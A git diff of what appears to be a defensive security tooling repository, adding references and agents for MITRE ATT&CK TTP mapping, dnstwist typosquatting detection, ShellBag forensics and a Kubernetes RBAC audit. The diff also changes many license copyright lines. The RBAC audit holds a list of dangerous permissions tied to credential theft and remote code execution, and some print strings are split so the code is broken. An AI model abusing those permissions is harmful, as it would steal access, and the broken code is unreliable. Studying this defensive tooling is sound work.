print(json.dumps(result, indent=2))
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,89 @@
|
||||
# API Reference: Threat Actor TTP Analysis with MITRE ATT&CK
|
||||
|
||||
## ATT&CK STIX Data
|
||||
|
||||
### Download
|
||||
```bash
|
||||
curl -o enterprise-attack.json https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json
|
||||
```
|
||||
|
||||
### STIX Object Types
|
||||
| Type | Description |
|
||||
|------|-------------|
|
||||
| `attack-pattern` | Techniques and sub-techniques |
|
||||
| `intrusion-set` | Threat actor groups |
|
||||
| `relationship` | Links (group "uses" technique) |
|
||||
| `malware` | Malware families |
|
||||
| `tool` | Legitimate tools abused |
|
||||
|
||||
## mitreattack-python
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install mitreattack-python
|
||||
```
|
||||
|
||||
### Query Techniques
|
||||
```python
|
||||
from mitreattack.stix20 import MitreAttackData
|
||||
attack = MitreAttackData("enterprise-attack.json")
|
||||
|
||||
# Get all techniques
|
||||
techniques = attack.get_techniques()
|
||||
|
||||
# Get group techniques
|
||||
group = attack.get_group_by_alias("APT29")
|
||||
techs = attack.get_techniques_used_by_group(group.id)
|
||||
```
|
||||
|
||||
### Get Technique Mitigations
|
||||
```python
|
||||
mitigations = attack.get_mitigations_mitigating_technique(technique.id)
|
||||
for m in mitigations:
|
||||
print(m.name, m.description)
|
||||
```
|
||||
|
||||
## ATT&CK Navigator Layer Format
|
||||
|
||||
### Technique Entry
|
||||
```json
|
||||
{
|
||||
"techniqueID": "T1566.001",
|
||||
"tactic": "initial-access",
|
||||
"color": "#ff6666",
|
||||
"score": 100,
|
||||
"comment": "Spearphishing Attachment",
|
||||
"enabled": true
|
||||
}
|
||||
```
|
||||
|
||||
## ATT&CK Tactic IDs
|
||||
|
||||
| Tactic | ID |
|
||||
|--------|----|
|
||||
| Reconnaissance | TA0043 |
|
||||
| Resource Development | TA0042 |
|
||||
| Initial Access | TA0001 |
|
||||
| Execution | TA0002 |
|
||||
| Persistence | TA0003 |
|
||||
| Privilege Escalation | TA0004 |
|
||||
| Defense Evasion | TA0005 |
|
||||
| Credential Access | TA0006 |
|
||||
| Discovery | TA0007 |
|
||||
| Lateral Movement | TA0008 |
|
||||
| Collection | TA0009 |
|
||||
| Command and Control | TA0011 |
|
||||
| Exfiltration | TA0010 |
|
||||
| Impact | TA0040 |
|
||||
|
||||
## TAXII Server Access
|
||||
```python
|
||||
from stix2 import TAXIICollectionSource, Filter
|
||||
from taxii2client.v20 import Collection
|
||||
|
||||
collection = Collection(
|
||||
"https://cti-taxii.mitre.org/stix/collections/95ecc380-afe9-11e4-9b6c-751b66dd541e/"
|
||||
)
|
||||
src = TAXIICollectionSource(collection)
|
||||
groups = src.query([Filter("type", "=", "intrusion-set")])
|
||||
```
|
||||
@@ -0,0 +1,155 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Threat actor TTP analysis agent using MITRE ATT&CK framework.
|
||||
|
||||
Maps threat actor behaviors to ATT&CK techniques, performs coverage analysis,
|
||||
and generates detection gap reports.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import json
|
||||
from collections import Counter, defaultdict
|
||||
|
||||
try:
|
||||
import requests
|
||||
HAS_REQUESTS = True
|
||||
except ImportError:
|
||||
HAS_REQUESTS = False
|
||||
|
||||
ATTACK_ENTERPRISE_URL = "https://raw.githubusercontent.com/mitre/cti/master/enterprise-attack/enterprise-attack.json"
|
||||
|
||||
|
||||
def load_attack_bundle(filepath=None):
|
||||
if filepath and os.path.exists(filepath):
|
||||
with open(filepath, "r", encoding="utf-8") as f:
|
||||
return json.load(f)
|
||||
if HAS_REQUESTS:
|
||||
resp = requests.get(ATTACK_ENTERPRISE_URL, timeout=60)
|
||||
resp.raise_for_status()
|
||||
return resp.json()
|
||||
return None
|
||||
|
||||
|
||||
def get_techniques(bundle):
|
||||
techniques = {}
|
||||
for obj in bundle.get("objects", []):
|
||||
if obj.get("type") == "attack-pattern" and not obj.get("revoked"):
|
||||
ext_id = ""
|
||||
for ref in obj.get("external_references", []):
|
||||
if ref.get("source_name") == "mitre-attack":
|
||||
ext_id = ref.get("external_id", "")
|
||||
if ext_id:
|
||||
tactics = [p["phase_name"] for p in obj.get("kill_chain_phases", [])]
|
||||
techniques[obj["id"]] = {
|
||||
"id": ext_id, "name": obj.get("name", ""),
|
||||
"tactics": tactics,
|
||||
"platforms": obj.get("x_mitre_platforms", []),
|
||||
"detection": obj.get("x_mitre_detection", "")[:200],
|
||||
}
|
||||
return techniques
|
||||
|
||||
|
||||
def get_groups(bundle):
|
||||
groups = {}
|
||||
for obj in bundle.get("objects", []):
|
||||
if obj.get("type") == "intrusion-set":
|
||||
ext_id = ""
|
||||
for ref in obj.get("external_references", []):
|
||||
if ref.get("source_name") == "mitre-attack":
|
||||
ext_id = ref.get("external_id", "")
|
||||
groups[obj["id"]] = {
|
||||
"id": ext_id, "name": obj.get("name", ""),
|
||||
"aliases": obj.get("aliases", []),
|
||||
"description": obj.get("description", "")[:300],
|
||||
}
|
||||
return groups
|
||||
|
||||
|
||||
def map_group_techniques(bundle, group_id, techniques):
|
||||
ttps = []
|
||||
for obj in bundle.get("objects", []):
|
||||
if (obj.get("type") == "relationship" and
|
||||
obj.get("relationship_type") == "uses" and
|
||||
obj.get("source_ref") == group_id):
|
||||
target = obj.get("target_ref", "")
|
||||
if target in techniques:
|
||||
ttps.append(techniques[target])
|
||||
return ttps
|
||||
|
||||
|
||||
def tactic_coverage(ttps):
|
||||
tactic_map = defaultdict(list)
|
||||
for t in ttps:
|
||||
for tactic in t["tactics"]:
|
||||
tactic_map[tactic].append(t["id"])
|
||||
return {k: {"count": len(v), "techniques": v} for k, v in tactic_map.items()}
|
||||
|
||||
|
||||
def detection_gaps(ttps, existing_detections):
|
||||
covered = set(existing_detections)
|
||||
gaps = [t for t in ttps if t["id"] not in covered]
|
||||
coverage = 1 - (len(gaps) / len(ttps)) if ttps else 0
|
||||
return gaps, round(coverage * 100, 1)
|
||||
|
||||
|
||||
def find_group(groups, query):
|
||||
query_lower = query.lower()
|
||||
for gid, g in groups.items():
|
||||
if (g["name"].lower() == query_lower or
|
||||
g["id"].lower() == query_lower or
|
||||
query_lower in [a.lower() for a in g["aliases"]]):
|
||||
return gid, g
|
||||
return None, None
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
print("=" * 60)
|
||||
print("Threat Actor TTP Analysis Agent (MITRE ATT&CK)")
|
||||
print("TTP mapping, tactic coverage, detection gap analysis")
|
||||
print("=" * 60)
|
||||
|
||||
group_query = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
bundle_path = sys.argv[2] if len(sys.argv) > 2 else None
|
||||
|
||||
bundle = load_attack_bundle(bundle_path)
|
||||
if not bundle:
|
||||
print("[!] Cannot load ATT&CK data")
|
||||
print("[DEMO] Usage: python agent.py APT29 [enterprise-attack.json]")
|
||||
sys.exit(1)
|
||||
|
||||
techniques = get_techniques(bundle)
|
||||
groups = get_groups(bundle)
|
||||
print(f"[*] Loaded {len(techniques)} techniques, {len(groups)} groups")
|
||||
|
||||
if not group_query:
|
||||
print("
|
||||
--- Available Groups (sample) ---")
|
||||
for gid, g in list(groups.items())[:15]:
|
||||
print(f" {g['id']:8s} {g['name']}")
|
||||
sys.exit(0)
|
||||
|
||||
gid, ginfo = find_group(groups, group_query)
|
||||
if not ginfo:
|
||||
print(f"[!] Group not found: {group_query}")
|
||||
sys.exit(1)
|
||||
|
||||
print(f"
|
||||
[*] Group: {ginfo['name']} ({ginfo['id']})")
|
||||
print(f" Aliases: {', '.join(ginfo['aliases'][:5])}")
|
||||
|
||||
ttps = map_group_techniques(bundle, gid, techniques)
|
||||
print(f" Techniques: {len(ttps)}")
|
||||
|
||||
coverage = tactic_coverage(ttps)
|
||||
print("
|
||||
--- Tactic Coverage ---")
|
||||
for tactic, info in sorted(coverage.items(), key=lambda x: -x[1]["count"]):
|
||||
bar = "#" * info["count"]
|
||||
print(f" {tactic:35s} {info['count']:3d} {bar}")
|
||||
|
||||
sample_detections = [t["id"] for t in ttps[:len(ttps)//2]]
|
||||
gaps, pct = detection_gaps(ttps, sample_detections)
|
||||
print(f"
|
||||
--- Detection Gaps (demo: {pct}% coverage) ---")
|
||||
for g in gaps[:10]:
|
||||
print(f" [GAP] {g['id']:12s} {g['name']}")
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -61,7 +61,7 @@ def normalize_to_stix(ioc_value, ioc_type, source_name, confidence=50):
|
||||
pattern_type="stix",
|
||||
valid_from=datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ"),
|
||||
confidence=confidence,
|
||||
created_by_ref="identity--placeholder",
|
||||
created_by_ref="identity--f165a29e-a997-5f8a-a63b-4b72b9f2f963",
|
||||
labels=["malicious-activity"],
|
||||
external_references=[{
|
||||
"source_name": source_name,
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
# API Reference: Typosquatting Detection with dnstwist
|
||||
|
||||
## dnstwist CLI
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
dnstwist example.com # Basic scan
|
||||
dnstwist -r example.com # Resolve DNS
|
||||
dnstwist -r -f json example.com # JSON output
|
||||
dnstwist -r -f csv example.com # CSV output
|
||||
dnstwist -r --ssdeep example.com # Fuzzy hashing comparison
|
||||
dnstwist -r --phash example.com # Perceptual hash (screenshot)
|
||||
dnstwist -r -w wordlist.txt example.com # Dictionary-based
|
||||
dnstwist --nameservers 8.8.8.8 example.com # Custom DNS
|
||||
```
|
||||
|
||||
### Fuzzing Techniques
|
||||
| Technique | Description |
|
||||
|-----------|-------------|
|
||||
| Addition | Append character: `examplea.com` |
|
||||
| Bitsquatting | Bit-flip: `dxample.com` |
|
||||
| Homoglyph | Lookalike chars: `examp1e.com` |
|
||||
| Hyphenation | Insert hyphen: `exam-ple.com` |
|
||||
| Insertion | Insert char: `exaample.com` |
|
||||
| Omission | Remove char: `examle.com` |
|
||||
| Repetition | Double char: `exxample.com` |
|
||||
| Replacement | Keyboard neighbor: `rxample.com` |
|
||||
| Subdomain | Insert dot: `ex.ample.com` |
|
||||
| Transposition | Swap chars: `exmaple.com` |
|
||||
| Vowel-swap | Replace vowel: `exomple.com` |
|
||||
|
||||
### Output Fields
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| `fuzzer` | Technique used |
|
||||
| `domain` | Permuted domain |
|
||||
| `dns_a` | A record IP addresses |
|
||||
| `dns_aaaa` | AAAA record addresses |
|
||||
| `dns_mx` | Mail server records |
|
||||
| `dns_ns` | Nameserver records |
|
||||
| `geoip` | GeoIP country |
|
||||
| `whois_registrar` | Domain registrar |
|
||||
| `ssdeep_score` | Fuzzy hash similarity (0-100) |
|
||||
|
||||
## Python Integration
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install dnstwist
|
||||
```
|
||||
|
||||
### CLI via subprocess
|
||||
```python
|
||||
import subprocess, json
|
||||
result = subprocess.run(
|
||||
["dnstwist", "-r", "-f", "json", "example.com"],
|
||||
capture_output=True, text=True)
|
||||
domains = json.loads(result.stdout)
|
||||
for d in domains:
|
||||
if d.get("dns_a"):
|
||||
print(f"{d['domain']} -> {d['dns_a']}")
|
||||
```
|
||||
|
||||
## WHOIS Lookup
|
||||
```python
|
||||
import whois
|
||||
w = whois.whois("suspicious-domain.com")
|
||||
print(w.creation_date, w.registrar)
|
||||
```
|
||||
|
||||
## VirusTotal Domain Check
|
||||
```bash
|
||||
curl -H "x-apikey: KEY" \
|
||||
"https://www.virustotal.com/api/v3/domains/<domain>"
|
||||
```
|
||||
@@ -0,0 +1,99 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Typosquatting domain detection agent using dnstwist concepts."""
|
||||
|
||||
import os, sys, json, socket
|
||||
from datetime import datetime
|
||||
|
||||
try:
|
||||
import dnstwist as dnstwist_lib
|
||||
HAS_DNSTWIST = True
|
||||
except ImportError:
|
||||
HAS_DNSTWIST = False
|
||||
|
||||
KEYBOARD_NEIGHBORS = {
|
||||
'q': 'wa', 'w': 'qeas', 'e': 'wrds', 'r': 'etfd', 't': 'rygf',
|
||||
'y': 'tuhg', 'u': 'yijh', 'i': 'uokj', 'o': 'iplk', 'p': 'ol',
|
||||
'a': 'qwsz', 's': 'wedxza', 'd': 'erfcxs', 'f': 'rtgvcd',
|
||||
'g': 'tyhbvf', 'h': 'yujnbg', 'j': 'uikmnh', 'k': 'iolmj',
|
||||
'l': 'opk', 'z': 'asx', 'x': 'zsdc', 'c': 'xdfv', 'v': 'cfgb',
|
||||
'b': 'vghn', 'n': 'bhjm', 'm': 'njk',
|
||||
}
|
||||
|
||||
def generate_permutations(domain):
|
||||
name = domain.split('.')[0]
|
||||
tld = '.'.join(domain.split('.')[1:]) or 'com'
|
||||
results = set()
|
||||
for i in range(len(name)):
|
||||
results.add(name[:i] + name[i+1:] + '.' + tld)
|
||||
for i in range(len(name) - 1):
|
||||
s = list(name)
|
||||
s[i], s[i+1] = s[i+1], s[i]
|
||||
results.add(''.join(s) + '.' + tld)
|
||||
for i in range(len(name)):
|
||||
if name[i] in KEYBOARD_NEIGHBORS:
|
||||
for c in KEYBOARD_NEIGHBORS[name[i]]:
|
||||
results.add(name[:i] + c + name[i+1:] + '.' + tld)
|
||||
homoglyphs = {'o': '0', 'l': '1', 'i': '1', 's': '5', 'a': '4', 'e': '3'}
|
||||
for i in range(len(name)):
|
||||
if name[i] in homoglyphs:
|
||||
results.add(name[:i] + homoglyphs[name[i]] + name[i+1:] + '.' + tld)
|
||||
for i in range(1, len(name)):
|
||||
results.add(name[:i] + '-' + name[i:] + '.' + tld)
|
||||
results.discard(domain)
|
||||
return sorted(results)
|
||||
|
||||
def resolve_domain(domain):
|
||||
try:
|
||||
ips = socket.getaddrinfo(domain, None, socket.AF_INET)
|
||||
return list(set(ip[4][0] for ip in ips))
|
||||
except socket.gaierror:
|
||||
return []
|
||||
|
||||
def check_domains(permutations, max_check=200):
|
||||
results = []
|
||||
for domain in permutations[:max_check]:
|
||||
ips = resolve_domain(domain)
|
||||
if ips:
|
||||
results.append({'domain': domain, 'ips': ips, 'registered': True})
|
||||
return results
|
||||
|
||||
def run_dnstwist_cli(domain):
|
||||
import subprocess
|
||||
try:
|
||||
result = subprocess.run(['dnstwist', '-r', '-f', 'json', domain],
|
||||
capture_output=True, text=True, timeout=120)
|
||||
if result.returncode == 0:
|
||||
return json.loads(result.stdout)
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired, json.JSONDecodeError):
|
||||
pass
|
||||
return None
|
||||
|
||||
if __name__ == '__main__':
|
||||
print('=' * 60)
|
||||
print('Typosquatting Domain Detection Agent (dnstwist)')
|
||||
print('Permutation generation, DNS resolution, risk scoring')
|
||||
print('=' * 60)
|
||||
domain = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
if not domain:
|
||||
print('
|
||||
[DEMO] Usage: python agent.py <domain.com>')
|
||||
sys.exit(0)
|
||||
print(f'
|
||||
[*] Target: {domain}')
|
||||
dnstwist_results = run_dnstwist_cli(domain)
|
||||
if dnstwist_results:
|
||||
print(f'[*] dnstwist found {len(dnstwist_results)} permutations')
|
||||
for r in dnstwist_results[:10]:
|
||||
a = r.get('dns_a', [''])[0] if r.get('dns_a') else ''
|
||||
print(f' {r.get("domain", "?"):40s} {a}')
|
||||
else:
|
||||
perms = generate_permutations(domain)
|
||||
print(f'[*] Generated {len(perms)} permutations')
|
||||
print('[*] Resolving domains...')
|
||||
resolved = check_domains(perms)
|
||||
print(f'[*] Active typosquats: {len(resolved)}')
|
||||
for r in resolved[:15]:
|
||||
print(f' {r["domain"]:40s} {", ".join(r["ips"])}')
|
||||
risk = 'HIGH' if len(resolved) > 20 else 'MEDIUM' if len(resolved) > 5 else 'LOW'
|
||||
print(f'
|
||||
[*] Risk: {risk}')
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,83 @@
|
||||
# API Reference: Windows ShellBag Forensics
|
||||
|
||||
## SBECmd (Eric Zimmerman)
|
||||
|
||||
### Syntax
|
||||
```bash
|
||||
SBECmd.exe -d <registry_dir> # Process directory of hives
|
||||
SBECmd.exe --hive <NTUSER.DAT> # Single hive
|
||||
SBECmd.exe -d <dir> --csv <output_dir> # CSV export
|
||||
SBECmd.exe -d <dir> -l # Live system registry
|
||||
```
|
||||
|
||||
### Output Fields
|
||||
| Field | Description |
|
||||
|-------|-------------|
|
||||
| AbsolutePath | Full reconstructed folder path |
|
||||
| CreatedOn | Folder creation timestamp |
|
||||
| ModifiedOn | Folder modification timestamp |
|
||||
| AccessedOn | Folder access timestamp |
|
||||
| MFTEntryNumber | NTFS MFT reference |
|
||||
| ShellType | Folder, network, zip, etc. |
|
||||
|
||||
## ShellBags Explorer (GUI)
|
||||
|
||||
### Features
|
||||
- Tree view of folder access history
|
||||
- Timeline view of access patterns
|
||||
- Filtering by date range
|
||||
- Export to CSV/JSON
|
||||
|
||||
## Registry Paths
|
||||
|
||||
### NTUSER.DAT
|
||||
```
|
||||
Software\Microsoft\Windows\Shell\BagMRU
|
||||
Software\Microsoft\Windows\Shell\Bags
|
||||
Software\Microsoft\Windows\ShellNoRoam\BagMRU
|
||||
```
|
||||
|
||||
### UsrClass.dat
|
||||
```
|
||||
Local Settings\Software\Microsoft\Windows\Shell\BagMRU
|
||||
Local Settings\Software\Microsoft\Windows\Shell\Bags
|
||||
```
|
||||
|
||||
## regipy (Python)
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
pip install regipy
|
||||
```
|
||||
|
||||
### Usage
|
||||
```python
|
||||
from regipy.registry import RegistryHive
|
||||
|
||||
hive = RegistryHive("NTUSER.DAT")
|
||||
key = hive.get_key("Software\Microsoft\Windows\Shell\BagMRU")
|
||||
for value in key.iter_values():
|
||||
print(value.name, type(value.value))
|
||||
```
|
||||
|
||||
## Shell Item Types
|
||||
| Type Byte | Description |
|
||||
|-----------|-------------|
|
||||
| 0x1F | Root folder (GUID - Desktop, My Computer) |
|
||||
| 0x2F | Volume (drive letter) |
|
||||
| 0x31 | File entry (directory) |
|
||||
| 0x32 | File entry (file) |
|
||||
| 0x41 | Network location |
|
||||
| 0x42 | Compressed folder |
|
||||
| 0x46 | Network share (UNC path) |
|
||||
| 0x71 | Control Panel item |
|
||||
|
||||
## Forensic Value
|
||||
| Artifact | Intelligence |
|
||||
|----------|-------------|
|
||||
| Network paths | Remote share access (lateral movement) |
|
||||
| USB paths | Removable media (data exfiltration) |
|
||||
| Deleted folders | Evidence of anti-forensics awareness |
|
||||
| Temp directories | Staging areas for tools/malware |
|
||||
| AppData paths | Persistence mechanism locations |
|
||||
| Recycle Bin | Awareness of deleted content |
|
||||
Binary file not shown.
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2025 Anthropic Agent Skills Contributors
|
||||
Copyright (c) 2025 Mahipal
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
# API Reference: Kubernetes RBAC Audit
|
||||
|
||||
## Python Kubernetes Client
|
||||
```python
|
||||
from kubernetes import client, config
|
||||
config.load_kube_config()
|
||||
rbac = client.RbacAuthorizationV1Api()
|
||||
core = client.CoreV1Api()
|
||||
```
|
||||
|
||||
## RBAC API Calls
|
||||
| Method | Description |
|
||||
|--------|-------------|
|
||||
| `rbac.list_cluster_role()` | List all ClusterRoles |
|
||||
| `rbac.list_cluster_role_binding()` | List all ClusterRoleBindings |
|
||||
| `rbac.list_namespaced_role(ns)` | List Roles in namespace |
|
||||
| `rbac.list_namespaced_role_binding(ns)` | List RoleBindings in namespace |
|
||||
|
||||
## ClusterRole Rule Structure
|
||||
```python
|
||||
role.rules[0].verbs # ["get", "list", "watch"]
|
||||
role.rules[0].resources # ["pods", "secrets"]
|
||||
role.rules[0].api_groups # ["", "apps"]
|
||||
```
|
||||
|
||||
## Dangerous RBAC Permissions
|
||||
| Permission | Risk |
|
||||
|------------|------|
|
||||
| `* / *` (all verbs, resources) | Full cluster admin |
|
||||
| `create` on `pods/exec` | Remote code execution |
|
||||
| `get` on `secrets` | Credential theft |
|
||||
| `bind` on `clusterroles` | Privilege escalation |
|
||||
| `impersonate` on users | Identity spoofing |
|
||||
| `escalate` on roles | Self-privilege escalation |
|
||||
|
||||
## Subject Types
|
||||
| Kind | Description |
|
||||
|------|-------------|
|
||||
| User | Human user identity |
|
||||
| Group | User group (e.g., system:authenticated) |
|
||||
| ServiceAccount | Pod identity |
|
||||
|
||||
## Risky Groups
|
||||
| Group | Risk |
|
||||
|-------|------|
|
||||
| `system:unauthenticated` | Anonymous access |
|
||||
| `system:authenticated` | Any authenticated user |
|
||||
| `system:masters` | Full cluster admin |
|
||||
|
||||
## kubectl RBAC Commands
|
||||
```bash
|
||||
kubectl auth can-i --list
|
||||
kubectl get clusterrolebindings -o json
|
||||
kubectl auth can-i create pods --as=system:serviceaccount:default:default
|
||||
```
|
||||
@@ -0,0 +1,110 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Kubernetes RBAC Audit Agent - Audits cluster RBAC permissions for security misconfigurations."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
from datetime import datetime
|
||||
|
||||
from kubernetes import client, config
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
DANGEROUS_VERBS = {"*", "create", "delete", "patch", "update", "escalate", "bind", "impersonate"}
|
||||
DANGEROUS_RESOURCES = {"secrets", "pods/exec", "pods/attach", "serviceaccounts", "clusterroles", "clusterrolebindings", "roles", "rolebindings", "*"}
|
||||
|
||||
|
||||
def load_kube_config(kubeconfig=None):
|
||||
"""Load Kubernetes configuration."""
|
||||
if kubeconfig:
|
||||
config.load_kube_config(config_file=kubeconfig)
|
||||
else:
|
||||
try:
|
||||
config.load_incluster_config()
|
||||
except config.ConfigException:
|
||||
config.load_kube_config()
|
||||
return client.RbacAuthorizationV1Api(), client.CoreV1Api()
|
||||
|
||||
|
||||
def audit_cluster_roles(rbac_api):
|
||||
"""Audit ClusterRoles for overly permissive rules."""
|
||||
findings = []
|
||||
roles = rbac_api.list_cluster_role()
|
||||
for role in roles.items:
|
||||
if role.metadata.name.startswith("system:"):
|
||||
continue
|
||||
for rule in (role.rules or []):
|
||||
verbs = set(rule.verbs or [])
|
||||
resources = set(rule.resources or [])
|
||||
api_groups = rule.api_groups or [""]
|
||||
if "*" in verbs and "*" in resources:
|
||||
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": "Full wildcard access (*/*)", "severity": "critical", "rule": {"verbs": list(verbs), "resources": list(resources)}})
|
||||
elif verbs & DANGEROUS_VERBS and resources & DANGEROUS_RESOURCES:
|
||||
findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": f"Dangerous permission: {verbs & DANGEROUS_VERBS} on {resources & DANGEROUS_RESOURCES}", "severity": "high", "rule": {"verbs": list(verbs), "resources": list(resources)}})
|
||||
logger.info("Audited %d ClusterRoles, %d findings", len(roles.items), len(findings))
|
||||
return findings
|
||||
|
||||
|
||||
def audit_role_bindings(rbac_api):
|
||||
"""Audit ClusterRoleBindings for excessive privilege grants."""
|
||||
findings = []
|
||||
bindings = rbac_api.list_cluster_role_binding()
|
||||
for binding in bindings.items:
|
||||
if binding.metadata.name.startswith("system:"):
|
||||
continue
|
||||
role_ref = binding.role_ref
|
||||
subjects = binding.subjects or []
|
||||
for subject in subjects:
|
||||
if role_ref.name in ("cluster-admin", "admin") and subject.kind != "ServiceAccount":
|
||||
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": f"{subject.kind}/{subject.name}", "severity": "critical" if role_ref.name == "cluster-admin" else "high", "issue": f"{subject.kind} bound to {role_ref.name}"})
|
||||
if subject.kind == "Group" and subject.name in ("system:unauthenticated", "system:authenticated"):
|
||||
findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": subject.name, "severity": "critical", "issue": f"Broad group {subject.name} bound to {role_ref.name}"})
|
||||
return findings
|
||||
|
||||
|
||||
def audit_service_accounts(core_api, rbac_api):
|
||||
"""Audit service accounts for default token mounting and elevated permissions."""
|
||||
findings = []
|
||||
sas = core_api.list_service_account_for_all_namespaces()
|
||||
for sa in sas.items:
|
||||
if sa.metadata.name == "default":
|
||||
if sa.automount_service_account_token is not False:
|
||||
findings.append({"namespace": sa.metadata.namespace, "service_account": "default", "issue": "Default SA auto-mounts token", "severity": "medium"})
|
||||
return findings
|
||||
|
||||
|
||||
def generate_report(role_findings, binding_findings, sa_findings):
|
||||
"""Generate RBAC audit report."""
|
||||
all_findings = role_findings + binding_findings + sa_findings
|
||||
